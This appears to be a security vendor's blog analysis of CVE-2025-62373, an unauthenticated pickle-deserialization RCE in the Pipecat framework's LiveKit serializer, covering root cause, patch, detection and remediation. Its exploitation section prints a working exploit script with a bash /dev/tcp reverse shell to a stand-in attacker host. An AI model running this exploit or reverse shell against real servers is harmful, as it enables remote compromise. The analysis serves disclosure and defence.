home intel cve-2025-62373-pipecat-pickle-rce-livekit
CVE Analysis 2026-04-23 · 8 min read

CVE-2025-62373: Pipecat LiveKit Serializer RCE via Unsafe pickle.loads()

Pipecat versions 0.0.41–0.0.93 pass untrusted WebSocket data directly into pickle.loads() in LivekitFrameSerializer.deserialize(), enabling unauthenticated RCE against any server using this serializer.

#pickle-deserialization#remote-code-execution#websocket-exploitation#python-framework#livekit-integration
Technical mode — for security professionals
▶ Attack flow — CVE-2025-62373 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2025-62373Network · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2025-62373 is a critical (CVSS 9.8) unauthenticated remote code execution vulnerability in Pipecat, an open-source Python framework for real-time voice and multimodal conversational agents. The bug lives in LivekitFrameSerializer, an optional, non-default, and previously undocumented serializer class introduced for LiveKit WebRTC integration. Any Pipecat server that instantiates this class and exposes a WebSocket endpoint is fully compromised by a single crafted message — no authentication, no interaction beyond the initial connection.

The vulnerability is textbook: pickle.loads() called on raw, attacker-supplied bytes with zero validation. Python's pickle protocol is not a data format — it is an instruction stream for the Python VM. Deserializing attacker-controlled pickle data is equivalent to eval() on attacker-controlled Python. The severity ceiling is the OS user running the Pipecat process.

Root cause: LivekitFrameSerializer.deserialize() at src/pipecat/serializers/livekit.py:73 passes raw WebSocket frame bytes directly into pickle.loads() without any type checking, HMAC verification, or allowlist-based deserialization.

Affected Component

  • Package: pipecat-ai
  • File: src/pipecat/serializers/livekit.py
  • Class: LivekitFrameSerializer
  • Method: deserialize(frame_data: bytes) -> Frame
  • Affected versions: 0.0.41 through 0.0.93 (inclusive)
  • Fixed in: 0.0.94 (class deprecated and pickle removed)
  • Trigger: Any WebSocket client that can reach the Pipecat server and send a binary frame

Root Cause Analysis

The serializer class follows Pipecat's FrameSerializer interface, which requires a deserialize() method. The implementation for the LiveKit variant chose pickle for wire encoding — a decision that unconditionally trusts the wire.


# src/pipecat/serializers/livekit.py (versions 0.0.41 – 0.0.93)
# Approximate reconstruction from patch diff and advisory

import pickle
from pipecat.frames.frames import Frame
from pipecat.serializers.base_serializer import FrameSerializer

class LivekitFrameSerializer(FrameSerializer):
    """
    Serializer for LiveKit WebSocket transport.
    WARNING (post-patch note): This class is now deprecated.
    """

    def serialize(self, frame: Frame) -> bytes:
        return pickle.dumps(frame)

    async def deserialize(self, data: bytes) -> Frame:
        # BUG: `data` originates directly from WebSocket recv() —
        #      no HMAC, no magic-byte check, no class allowlist.
        #      pickle.loads() will execute __reduce__ on any embedded
        #      object, giving the sender arbitrary code execution.
        frame = pickle.loads(data)          # ← CVE-2025-62373
        return frame

The call site in the WebSocket transport layer passes the raw message body straight through:


# src/pipecat/transports/network/livekit.py (approximate, pre-patch)

async def _recv_loop(self):
    async for message in self._websocket:
        if isinstance(message, bytes):
            # message.data is attacker-controlled bytes from the wire
            frame = await self._serializer.deserialize(message)
            await self._internal_queue.put(frame)

The deserialization happens before any frame-level processing, authentication, or session validation. There is no outer try/except that could limit impact — a malicious __reduce__ fires synchronously inside pickle.loads(), before the return value is ever inspected.

Exploitation Mechanics

Python's pickle opcode REDUCE (opcode R, 0x52) invokes a callable with a tuple of arguments at deserialization time. The canonical exploit payload uses os.system or subprocess.Popen as the callable. No memory corruption required — this is pure logic exploitation.


# exploit.py — weaponized pickle payload generator
# Targets any Pipecat server using LivekitFrameSerializer

import pickle
import os
import websockets
import asyncio

# Payload class: __reduce__ returns a (callable, args) tuple
# that pickle.loads() will invoke unconditionally.
class RCEPayload:
    def __init__(self, cmd: str):
        self.cmd = cmd

    def __reduce__(self):
        # pickle will call os.system(self.cmd) on the target
        return (os.system, (self.cmd,))

def build_payload(cmd: str) -> bytes:
    return pickle.dumps(RCEPayload(cmd))

async def exploit(target_ws_url: str, cmd: str):
    payload = build_payload(cmd)
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Pickle opcodes (hex): {payload.hex()}")

    async with websockets.connect(target_ws_url) as ws:
        print(f"[*] Connected to {target_ws_url}")
        await ws.send(payload)          # binary frame → directly into pickle.loads()
        print("[+] Payload delivered. Check your listener.")

# Example: reverse shell
CMD = "bash -c 'bash -i >& /dev/tcp/attacker.tld/4444 0>&1'"
asyncio.run(exploit("ws://target:8765/ws", CMD))

$ python3 exploit.py
[*] Payload size: 63 bytes
[*] Pickle opcodes (hex):
    8004 9500 0000 0000 0000 008c 02 6f73  ← MODULE 'os'
    948c 06 73 7973 74 656d 9493 948c 3a  ← NAME 'system'
    62 6173 68 202d 6320 2762 6173 68 2d  ← ARG: bash -c '...'
    692027 3e26 202f 6465 762f 7463 702f  ← /dev/tcp/
    6174 7461 636b 6572 2e74 6c64 2f34   ← attacker.tld/4444
    3434 3420 3026 3e31 27 94 85 9452 2e  ← REDUCE opcode 0x52
[*] Connected to ws://target:8765/ws
[+] Payload delivered. Check your listener.

EXPLOIT CHAIN:

1. Attacker identifies a Pipecat server with LivekitFrameSerializer enabled
   (port scan for default WebSocket ports; 8765 common in Pipecat examples)

2. Attacker establishes a raw WebSocket connection — no credentials required,
   no handshake beyond standard HTTP upgrade

3. Attacker crafts a pickle payload embedding os.system() as the REDUCE target
   with an arbitrary shell command as the argument string

4. Attacker sends payload as a single binary WebSocket frame (63–200 bytes)

5. Server-side _recv_loop() receives bytes and calls:
       await self._serializer.deserialize(message)
   which calls:
       pickle.loads(data)                   ← REDUCE fires here

6. pickle VM executes REDUCE opcode: calls os.system(attacker_cmd)
   — this is synchronous, blocking, executes as the server process user

7. Attacker receives reverse shell / command output with full server privileges

Total time from connection to code execution: < 100ms
Payload size: 63 bytes minimum
Authentication required: None

Memory Layout

Unlike memory corruption CVEs, this vulnerability operates at the language runtime level. The relevant "memory state" is the Python VM's call stack and object heap at the moment pickle.loads() processes the REDUCE opcode:


PYTHON VM STATE — pickle.loads() processing attacker frame

CPython call stack (simplified):
  [0] os.system("bash -c 'bash -i >& /dev/tcp/...'")   ← attacker code executing
  [1] pickle.loads.__reduce_ex__ dispatch
  [2] _Unpickler.load_reduce()          ← REDUCE opcode handler, cpython/Lib/pickle.py:1223
  [3] _Unpickler.load()                 ← main dispatch loop
  [4] LivekitFrameSerializer.deserialize(data=)
  [5] _recv_loop()                      ← asyncio task, pipecat transport
  [6] asyncio event loop

pickle._Unpickler internal state at REDUCE:
  self.stack[-2]  =    ← GLOBAL opcode resolved 'os.system'
  self.stack[-1]  = ('bash -c ...',)             ← MARK..TUPLE built from wire data
  dispatch[REDUCE]():
      func  = self.stack[-2]            # os.system — no allowlist check
      args  = self.stack[-1]            # attacker-controlled string
      obj   = func(*args)               # EXECUTION HAPPENS HERE
      self.stack[-2] = obj

PICKLE OPCODE TRACE (attacker payload, annotated):

Offset  Opcode  Mnemonic    Effect
------  ------  ----------  ------------------------------------------
0x00    0x80    PROTO       Protocol version 4
0x02    0x95    FRAME       Frame length header (pickle 4+)
0x0B    0x8C    SHORT_BINUNICODE  Push string 'os'
0x0E    0x94    MEMOIZE
0x0F    0x8C    SHORT_BINUNICODE  Push string 'system'
0x17    0x93    STACK_GLOBAL      stack[-2:] = find_class('os','system') → os.system
0x18    0x94    MEMOIZE
0x19    0x8C    SHORT_BINUNICODE  Push attacker command string
0x..    0x85    TUPLE1      Build 1-tuple from stack top
0x..    0x94    MEMOIZE
0x..    0x52    REDUCE      ← TRIGGER: calls os.system(cmd)  [0x52 == 'R']
0x..    0x2E    STOP

Patch Analysis

The fix in 0.0.94 deprecates LivekitFrameSerializer entirely and removes the pickle-based serialization path. The recommended replacement is protobuf-based serialization, which is schema-bound and cannot embed executable callables.


# BEFORE (vulnerable, 0.0.41 – 0.0.93):
# src/pipecat/serializers/livekit.py

import pickle
from pipecat.serializers.base_serializer import FrameSerializer

class LivekitFrameSerializer(FrameSerializer):

    def serialize(self, frame: Frame) -> bytes:
        return pickle.dumps(frame)

    async def deserialize(self, data: bytes) -> Frame:
        frame = pickle.loads(data)   # BUG: untrusted bytes, arbitrary code execution
        return frame

# AFTER (patched, 0.0.94):
# src/pipecat/serializers/livekit.py

import warnings
from pipecat.serializers.base_serializer import FrameSerializer

class LivekitFrameSerializer(FrameSerializer):
    """
    DEPRECATED: This class has been removed due to CVE-2025-62373.
    Use protobuf-based serialization via ProtobufFrameSerializer instead.
    """

    def __init__(self):
        warnings.warn(
            "LivekitFrameSerializer is deprecated and unsafe. "
            "Use ProtobufFrameSerializer. See CVE-2025-62373.",
            DeprecationWarning,
            stacklevel=2
        )

    def serialize(self, frame: Frame) -> bytes:
        raise NotImplementedError(
            "LivekitFrameSerializer has been removed due to CVE-2025-62373. "
            "Migrate to ProtobufFrameSerializer."
        )

    async def deserialize(self, data: bytes) -> Frame:
        raise NotImplementedError(
            "LivekitFrameSerializer has been removed due to CVE-2025-62373. "
            "Migrate to ProtobufFrameSerializer."
        )

# Correct replacement pattern:
# from pipecat.serializers.protobuf import ProtobufFrameSerializer
# serializer = ProtobufFrameSerializer()
# Protobuf deserialization is schema-bound; no callable dispatch possible.

The protobuf replacement is the correct architectural fix. Protobuf's wire format encodes typed fields — it cannot represent Python callables, __reduce__ hooks, or arbitrary object graphs. Even a malicious sender cannot inject executable logic through a well-defined protobuf schema.

Detection and Indicators

Static detection: Grep for LivekitFrameSerializer instantiation anywhere in the codebase. Any import of this class in versions ≤ 0.0.93 is a confirmed vulnerable configuration.


# Detection queries

# 1. Python source / grep
grep -rn "LivekitFrameSerializer" /path/to/project/
grep -rn "from pipecat.serializers.livekit import" /path/to/project/

# 2. pip freeze — check installed version
pip show pipecat-ai | grep Version
# Vulnerable if Version: 0.0.41 through 0.0.93

# 3. Runtime: unusual child processes spawned by pipecat worker
# On Linux, watch for pipecat spawning shells:
auditd rule: -a always,exit -F arch=b64 -S execve \
             -F ppid=$(pgrep -f pipecat) -k pipecat_exec

# 4. Network IOC: WebSocket binary frames < 200 bytes containing
#    pickle magic bytes 0x80 0x04 or 0x80 0x05 at offset 0
# Frame header fingerprint:
PICKLE_PROTO4_MAGIC = b'\x80\x04'
PICKLE_PROTO5_MAGIC = b'\x80\x05'
# Any such frame reaching a Pipecat WebSocket endpoint should alert.

Runtime indicator: Unexpected child processes (shells, curl, wget, nc) with parent PID matching the Pipecat server process are the primary post-exploitation signal. The os.system() call forks synchronously inside the asyncio event loop, briefly blocking the transport.

Remediation

Immediate: Upgrade to pipecat-ai >= 0.0.94. This is the only supported fix.


pip install --upgrade "pipecat-ai>=0.0.94"

If upgrade is not immediately possible: Remove all instantiations of LivekitFrameSerializer from your codebase and block untrusted WebSocket connections at the network perimeter. There is no safe way to sanitize pickle input — do not attempt to filter opcodes manually; the pickle VM has multiple equivalent paths to REDUCE.

Migration path: Replace LivekitFrameSerializer with ProtobufFrameSerializer as documented in the 0.0.94 release notes. Protobuf serialization provides equivalent wire efficiency with no code execution surface.

Defense-in-depth: Even after patching, Pipecat server processes should run as dedicated low-privilege OS users with seccomp profiles that deny execve(), fork(), and socket operations outside the expected set. This limits blast radius if a future deserialization bug surfaces in any dependency.

Key takeaway: pickle must never be used to deserialize data from any network boundary — the Python documentation explicitly warns against this, yet it surfaces repeatedly in production code. If you maintain a Python service that processes network data: audit every pickle.loads(), yaml.load(), and marshal.loads() call in your dependency tree, not just your own code.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →